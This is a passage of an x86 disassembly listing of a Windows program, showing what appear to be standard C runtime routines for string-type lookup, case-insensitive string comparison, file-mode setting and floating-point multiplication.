		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_430DC0
		jmp	loc_430E4D
; ---------------------------------------------------------------------------


loc_430DC0:				; CODE XREF: sub_430D00+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_432530
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_430DEF
		jmp	short loc_430E4D
; ---------------------------------------------------------------------------


loc_430DEF:				; CODE XREF: sub_430D00+5Aj
					; sub_430D00+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_430E19
		jmp	short loc_430E4D
; ---------------------------------------------------------------------------


loc_430E19:				; CODE XREF: sub_430D00+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_417760
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_430E46
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_415C60
		add	esp, 8


loc_430E46:				; CODE XREF: sub_430D00+136j
		xor	eax, eax
		jmp	loc_430F86
; ---------------------------------------------------------------------------


loc_430E4D:				; CODE XREF: sub_430D00+6Bj
					; sub_430D00+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_430E61
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_430E61:				; CODE XREF: sub_430D00+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_430F86
; ---------------------------------------------------------------------------


loc_430E69:				; CODE XREF: sub_430D00+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_430F83
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4DE230
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_432390
		add	esp, 14h
		test	eax, eax
		jnz	short loc_430EB0
		or	eax, 0FFFFFFFFh
		jmp	loc_430F86
; ---------------------------------------------------------------------------


loc_430EB0:				; CODE XREF: sub_430D00+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_430ED4
; ---------------------------------------------------------------------------


loc_430EC5:				; CODE XREF: sub_430D00:loc_430F7Aj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax


loc_430ED4:				; CODE XREF: sub_430D00+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_430F7F
		cmp	dword_447480, 1
		jle	short loc_430F1B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4DE230[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_430F4E
; ---------------------------------------------------------------------------


loc_430F1B:				; CODE XREF: sub_430D00+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4DE230[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx


loc_430F4E:				; CODE XREF: sub_430D00+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_430F78
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_430F7A
; ---------------------------------------------------------------------------


loc_430F78:				; CODE XREF: sub_430D00+255j
		jmp	short loc_430F7F
; ---------------------------------------------------------------------------


loc_430F7A:				; CODE XREF: sub_430D00+276j
		jmp	loc_430EC5
; ---------------------------------------------------------------------------


loc_430F7F:				; CODE XREF: sub_430D00+1DBj
					; sub_430D00:loc_430F78j
		xor	eax, eax
		jmp	short loc_430F86
; ---------------------------------------------------------------------------


loc_430F83:				; CODE XREF: sub_430D00+16Dj
		or	eax, 0FFFFFFFFh


loc_430F86:				; CODE XREF: sub_430D00+148j
					; sub_430D00+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_430D00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_448398
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430FA0	proc near		; CODE XREF: .data:0042D096p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435F80
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE23C, 0
		jnz	short loc_43101E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_435398
		push	1
		call	dword_4E0300	; GetStringTypeW
		test	eax, eax
		jz	short loc_430FF2
		mov	dword_4DE23C, 1
		jmp	short loc_43101E
; ---------------------------------------------------------------------------


loc_430FF2:				; CODE XREF: sub_430FA0+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_435394
		push	1
		push	0
		call	dword_4E0304	; GetStringTypeA
		test	eax, eax
		jz	short loc_431017
		mov	dword_4DE23C, 2
		jmp	short loc_43101E
; ---------------------------------------------------------------------------


loc_431017:				; CODE XREF: sub_430FA0+69j
		xor	eax, eax
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_43101E:				; CODE XREF: sub_430FA0+2Dj
					; sub_430FA0+50j ...
		cmp	dword_4DE23C, 1
		jnz	short loc_431042
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4E0300	; GetStringTypeW
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_431042:				; CODE XREF: sub_430FA0+85j
		cmp	dword_4DE23C, 2
		jnz	loc_4311F7
		cmp	[ebp+arg_10], 0
		jnz	short loc_43105D
		mov	eax, dword_4DE084
		mov	[ebp+arg_10], eax


loc_43105D:				; CODE XREF: sub_430FA0+B3j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	220h
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43108C
		xor	eax, eax
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_43108C:				; CODE XREF: sub_430FA0+E3j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_28]
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4310DE
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4310DE:				; CODE XREF: sub_430FA0+125j
		cmp	[ebp+var_2C], 0
		jnz	short loc_4310EB
		xor	eax, eax
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_4310EB:				; CODE XREF: sub_430FA0+142j
		push	0
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4E0424	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_431119
		xor	eax, eax
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_431119:				; CODE XREF: sub_430FA0+170j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43115D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43115D:				; CODE XREF: sub_430FA0+1A4j
		cmp	[ebp+var_24], 0
		jnz	short loc_43116A
		xor	eax, eax
		jmp	loc_4311F9
; ---------------------------------------------------------------------------


loc_43116A:				; CODE XREF: sub_430FA0+1C1j
		cmp	[ebp+arg_14], 0
		jnz	short loc_431179
		mov	edx, dword_4DE074
		mov	[ebp+arg_14], edx


loc_431179:				; CODE XREF: sub_430FA0+1CEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_24]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		call	dword_4E0304	; GetStringTypeA
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_4311D8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_4311DC


loc_4311D8:				; CODE XREF: sub_430FA0+222j
		xor	eax, eax
		jmp	short loc_4311F9
; ---------------------------------------------------------------------------


loc_4311DC:				; CODE XREF: sub_430FA0+236j
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_419A90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4311F9
; ---------------------------------------------------------------------------


loc_4311F7:				; CODE XREF: sub_430FA0+A9j
		xor	eax, eax


loc_4311F9:				; CODE XREF: sub_430FA0+79j
					; sub_430FA0+9Dj ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_430FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431210	proc near		; CODE XREF: sub_42D4B0+40p
					; sub_42D600+5Fp ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DE06C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_431263
		mov	al, 0FFh
		mov	edi, edi


loc_43122C:				; CODE XREF: sub_431210+28j
					; sub_431210+48j
		or	al, al
		jz	short loc_43125E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_43122C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_43122C
		sbb	al, al
		sbb	al, 0FFh


loc_43125E:				; CODE XREF: sub_431210+1Ej
		movsx	eax, al
		jmp	short loc_4312DB
; ---------------------------------------------------------------------------


loc_431263:				; CODE XREF: sub_431210+16j
		lock inc dword_4DE428
		cmp	dword_4DE424, 0
		jg	short loc_431277
		push	0
		jmp	short loc_43128C
; ---------------------------------------------------------------------------


loc_431277:				; CODE XREF: sub_431210+61j
		lock dec dword_4DE428
		push	13h
		call	sub_41BC80
		mov	[esp+10h+var_10], 1


loc_43128C:				; CODE XREF: sub_431210+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_431294:				; CODE XREF: sub_431210+90j
					; sub_431210+A8j
		or	al, al
		jz	short loc_4312BF
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_431294
		push	eax
		push	ebx
		call	sub_41A730
		mov	ebx, eax
		add	esp, 4
		call	sub_41A730
		add	esp, 4
		cmp	bl, al
		jz	short loc_431294
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4312BF:				; CODE XREF: sub_431210+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_4312CF
		lock dec dword_4DE428
		jmp	short loc_4312D9
; ---------------------------------------------------------------------------


loc_4312CF:				; CODE XREF: sub_431210+B4j
		push	13h
		call	sub_41BD20
		add	esp, 4


loc_4312D9:				; CODE XREF: sub_431210+BDj
		mov	eax, ebx


loc_4312DB:				; CODE XREF: sub_431210+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_431210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4312E0	proc near		; CODE XREF: sub_42D600+11Bp
					; sub_42D600+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_4313DA
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4DE06C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_431351
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_43130C:				; CODE XREF: sub_4312E0+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_431335
		or	al, al
		jz	short loc_431335
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_431324
		cmp	ah, bl
		ja	short loc_431324
		add	ah, dh


loc_431324:				; CODE XREF: sub_4312E0+3Cj
					; sub_4312E0+40j
		cmp	al, bh
		jb	short loc_43132E
		cmp	al, bl
		ja	short loc_43132E
		add	al, dh


loc_43132E:				; CODE XREF: sub_4312E0+46j
					; sub_4312E0+4Aj
		cmp	ah, al
		jnz	short loc_43133F
		dec	ecx
		jnz	short loc_43130C


loc_431335:				; CODE XREF: sub_4312E0+32j
					; sub_4312E0+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_4313DA


loc_43133F:				; CODE XREF: sub_4312E0+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_4313DA
		neg	ecx
		jmp	loc_4313DA
; ---------------------------------------------------------------------------


loc_431351:				; CODE XREF: sub_4312E0+21j
		lock inc dword_4DE428
		cmp	dword_4DE424, 0
		jg	short loc_431365
		push	0
		jmp	short loc_43137E
; ---------------------------------------------------------------------------


loc_431365:				; CODE XREF: sub_4312E0+7Fj
		lock dec dword_4DE428
		mov	ebx, ecx
		push	13h
		call	sub_41BC80
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx


loc_43137E:				; CODE XREF: sub_4312E0+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_431384:				; CODE XREF: sub_4312E0+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_4313AF
		or	ebx, ebx
		jz	short loc_4313AF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_41A730
		mov	ebx, eax
		add	esp, 4
		call	sub_41A730
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_4313B5
		dec	ecx
		jnz	short loc_431384


loc_4313AF:				; CODE XREF: sub_4312E0+AAj
					; sub_4312E0+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_4313BE


loc_4313B5:				; CODE XREF: sub_4312E0+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_4313BE
		neg	ecx


loc_4313BE:				; CODE XREF: sub_4312E0+D3j
					; sub_4312E0+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_4313CC
		lock dec dword_4DE428
		jmp	short loc_4313DA
; ---------------------------------------------------------------------------


loc_4313CC:				; CODE XREF: sub_4312E0+E1j
		mov	ebx, ecx
		push	13h
		call	sub_41BD20
		add	esp, 4
		mov	ecx, ebx


loc_4313DA:				; CODE XREF: sub_4312E0+Bj
					; sub_4312E0+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4312E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4DE420
		jnb	short loc_431421
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_431431


loc_431421:				; CODE XREF: .data:004313FDj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_43145F
; ---------------------------------------------------------------------------


loc_431431:				; CODE XREF: .data:0043141Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_431470
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp-4]


loc_43145F:				; CODE XREF: .data:0043142Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431470	proc near		; CODE XREF: sub_42E2C0+D4p
					; sub_42E2C0+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_4314D9
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DE320[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43152A
; ---------------------------------------------------------------------------


loc_4314D9:				; CODE XREF: sub_431470+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43151A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4DE320[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43152A
; ---------------------------------------------------------------------------


loc_43151A:				; CODE XREF: sub_431470+70j
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43153B
; ---------------------------------------------------------------------------


loc_43152A:				; CODE XREF: sub_431470+67j
					; sub_431470+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h


loc_43153B:				; CODE XREF: sub_431470+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431540	proc near		; CODE XREF: sub_42F370+2B5p
					; sub_431980+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_4315FD
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_4315FD
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_431634


loc_4315FD:				; CODE XREF: sub_431540+9Bj
					; sub_431540+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_431979
; ---------------------------------------------------------------------------


loc_431634:				; CODE XREF: sub_431540+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_431667
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_431979
; ---------------------------------------------------------------------------


loc_431667:				; CODE XREF: sub_431540+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_4316AD
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_4316AD
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4316AD
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_4316AD
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_431979
; ---------------------------------------------------------------------------


loc_4316AD:				; CODE XREF: sub_431540+131j
					; sub_431540+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jnz	short loc_431709
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_431709
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_431709
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_431709
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_431979
; ---------------------------------------------------------------------------


loc_431709:				; CODE XREF: sub_431540+178j
					; sub_431540+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_431722
; ---------------------------------------------------------------------------


loc_431719:				; CODE XREF: sub_431540+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_431722:				; CODE XREF: sub_431540+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_4317E1
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_431751
; ---------------------------------------------------------------------------


loc_431748:				; CODE XREF: sub_431540+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx


loc_431751:				; CODE XREF: sub_431540+206j
		cmp	[ebp+var_34], 0
		jle	short loc_4317D3
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4317BC
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax


loc_4317BC:				; CODE XREF: sub_431540+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_431748
; ---------------------------------------------------------------------------


loc_4317D3:				; CODE XREF: sub_431540+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_431719
; ---------------------------------------------------------------------------


loc_4317E1:				; CODE XREF: sub_431540+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx


loc_4317EE:				; CODE XREF: sub_431540+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43181D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43181D
